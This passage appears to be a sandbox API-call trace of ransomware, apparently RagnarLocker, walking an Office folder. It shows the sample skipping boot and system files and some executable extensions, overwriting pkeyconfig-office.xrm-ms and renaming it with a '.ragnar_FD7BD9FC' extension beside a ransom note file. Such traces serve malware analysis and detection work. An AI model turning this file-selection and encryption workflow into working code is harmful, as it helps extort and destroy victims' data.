lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.646] lstrcpyW (in: lpString1=0x1eab90, lpString2="pidgenx.dll" | out: lpString1="pidgenx.dll") returned="pidgenx.dll" [0066.646] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned=".dll" [0066.646] lstrcmpiW (lpString1="pidgenx.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.646] lstrcmpiW (lpString1="pidgenx.dll", lpString2="autorun.inf") returned 1 [0066.646] lstrcmpiW (lpString1="pidgenx.dll", lpString2="boot.ini") returned 1 [0066.646] lstrcmpiW (lpString1="pidgenx.dll", lpString2="bootfont.bin") returned 1 [0066.646] lstrcmpiW (lpString1="pidgenx.dll", lpString2="bootsect.bak") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="bootmgr") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="bootmgr.efi") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="bootmgfw.efi") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="desktop.ini") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="iconcache.db") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="ntldr") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="ntuser.dat") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="ntuser.dat.log") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="ntuser.ini") returned 1 [0066.647] lstrcmpiW (lpString1="pidgenx.dll", lpString2="thumbs.db") returned -1 [0066.647] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0066.647] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0066.647] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0066.647] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0066.647] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.647] lstrcpyW (in: lpString1=0x1eab90, lpString2="pkeyconfig-office.xrm-ms" | out: lpString1="pkeyconfig-office.xrm-ms") returned="pkeyconfig-office.xrm-ms" [0066.647] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned=".xrm-ms" [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="autorun.inf") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot.ini") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootfont.bin") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootsect.bak") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgr") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgr.efi") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgfw.efi") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="desktop.ini") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="iconcache.db") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntldr") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.dat") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.dat.log") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.ini") returned 1 [0066.647] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="thumbs.db") returned -1 [0066.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".db") returned 1 [0066.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".sys") returned 1 [0066.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".dll") returned 1 [0066.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".lnk") returned 1 [0066.648] lstrcmpiW (lpString1=".xrm-ms", lpString2=".msi") returned 1 [0066.648] lstrcmpiW (lpString1=".xrm-ms", lpString2=".drv") returned 1 [0066.648] lstrcmpiW (lpString1=".xrm-ms", lpString2=".exe") returned 1 [0066.648] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0066.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0066.649] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=715834) returned 1 [0066.649] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xaec31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.649] GetProcessHeap () returned 0x580000 [0066.649] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0066.649] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0066.651] VirtualAlloc (lpAddress=0x0, dwSize=0xaec3a, flAllocationType=0x3000, flProtect=0x4) returned 0x300000 [0066.651] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.651] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0066.651] ReadFile (in: hFile=0x104, lpBuffer=0x300000, nNumberOfBytesToRead=0xaec3a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesRead=0x1ea45c*=0xaec3a, lpOverlapped=0x0) returned 1 [0066.666] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0066.670] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaec3a, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.670] WriteFile (in: hFile=0x104, lpBuffer=0x300000*, nNumberOfBytesToWrite=0xaec3a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x300000*, lpNumberOfBytesWritten=0x1ea458*=0xaec3a, lpOverlapped=0x0) returned 1 [0066.672] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaec3a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.672] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.675] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xaec3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.675] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.675] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0066.675] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0066.675] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0066.675] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.675] GetProcessHeap () returned 0x580000 [0066.676] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0066.676] CloseHandle (hObject=0x104) returned 1 [0066.680] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" [0066.680] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.ragnar_FD7BD9FC" [0066.680] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0066.681] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.681] lstrcpyW (in: lpString1=0x1eab90, lpString2="pkeyconfig.companion.dll" | out: lpString1="pkeyconfig.companion.dll") returned="pkeyconfig.companion.dll" [0066.681] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll") returned=".dll" [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="autorun.inf") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="boot.ini") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="bootfont.bin") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="bootsect.bak") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="bootmgr") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="bootmgr.efi") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="bootmgfw.efi") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="desktop.ini") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="iconcache.db") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="ntldr") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="ntuser.dat") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="ntuser.dat.log") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="ntuser.ini") returned 1 [0066.681] lstrcmpiW (lpString1="pkeyconfig.companion.dll", lpString2="thumbs.db") returned -1 [0066.681] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0066.681] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0066.681] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x77c7ad20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x77c7ad20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x78032f80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78032f80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x780590e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780590e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7807f240, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7807f240, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780cb500, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780cb500, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x780f1660, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x780f1660, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78b35540, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x78b35540, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79637b00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79637b00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x796f61e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x796f61e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0066.681] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76486fc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76486fc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0066.682] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.682] lstrcpyW (in: lpString1=0x1eab90, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0066.682] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RGNR_FD7BD9FC.txt") returned=".txt" [0066.682] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0066.682] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0066.682] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.682] lstrcpyW (in: lpString1=0x1eab90, lpString2="Setup.exe" | out: lpString1="Setup.exe") returned="Setup.exe" [0066.682] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe") returned=".exe" [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="autorun.inf") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="boot.ini") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="bootfont.bin") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="bootsect.bak") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="bootmgr") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="bootmgr.efi") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="bootmgfw.efi") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="desktop.ini") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="iconcache.db") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="ntldr") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="ntuser.dat") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="ntuser.dat.log") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="ntuser.ini") returned 1 [0066.682] lstrcmpiW (lpString1="Setup.exe", lpString2="thumbs.db") returned -1 [0066.682] lstrcmpiW (lpString1=".exe", lpString2=".db") returned 1 [0066.682] lstrcmpiW (lpString1=".exe", lpString2=".sys") returned -1 [0066.683] lstrcmpiW (lpString1=".exe", lpString2=".dll") returned 1 [0066.683] lstrcmpiW (lpString1=".exe", lpString2=".lnk") returned -1 [0066.683] lstrcmpiW (lpString1=".exe", lpString2=".msi") returned -1 [0066.683] lstrcmpiW (lpString1=".exe", lpString2=".drv") returned 1 [0066.683] lstrcmpiW (lpString1=".exe", lpString2=".exe") returned 0 [0066.683] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x79d35ba0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79d35ba0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x79f24d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79f24d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79f71040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79f71040, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79f71040, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79f71040, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0066.683] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0066.683] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0066.683] lstrcmpiW (lpString1="OFFREL.DLL", lpString2=".") returned 1 [0066.683] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="..") returned 1 [0066.683] 